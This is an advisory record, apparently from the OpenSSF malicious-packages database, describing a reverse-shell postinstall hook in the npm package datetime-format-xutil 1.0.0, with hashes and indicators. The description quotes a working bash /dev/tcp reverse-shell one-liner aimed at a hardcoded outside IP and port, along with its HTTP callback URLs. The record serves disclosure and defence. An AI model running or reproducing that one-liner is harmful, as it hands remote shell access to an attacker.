MAL-2026-13936Malicious code in datetime-format-xutil (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | datetime-format-xutil | 1.0.0 |
{"modified":"2026-08-13T14:59:51Z","published":"2026-08-13T14:59:51Z","schema_version":"1.7.4","id":"MAL-2026-13936","summary":"Malicious code in datetime-format-xutil (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24)\nThe package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.\n","affected":[{"package":{"ecosystem":"npm","name":"datetime-format-xutil"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"postinstall.js","sha256":"6da6821e4a53bdd6c0e40a6f81a0491b98031c5444cf7582b3ec40c08e4718a2","tlsh":"9811ebe905fad07caf7b247866bfa426211342077819eee4b8ce0b03af125680c123a1"}],"package_integrity":[{"filename":"datetime-format-xutil-1.0.0.tgz","hashes":{"sha1":"4132363cad941d08aa6d18abefc2f7630e63d543","sha512_sri":"sha512-py7mpQJAmHBFij7MhJBG0dm2j4Pb7DUQ+mTulrz1GBuJzGowwBx3ziptbS/muEYtJBQ97Qi1sl7Dw8TSYYsl6Q=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/datetime-format-xutil/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-017627","import_time":"2026-08-13T15:26:43.169431936Z","modified_time":"2026-08-13T14:59:51Z","sha256":"677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24","source":"amazon-inspector","versions":["1.0.0"]}]}}数据来源:OpenSSF Malicious Packages · Apache-2.0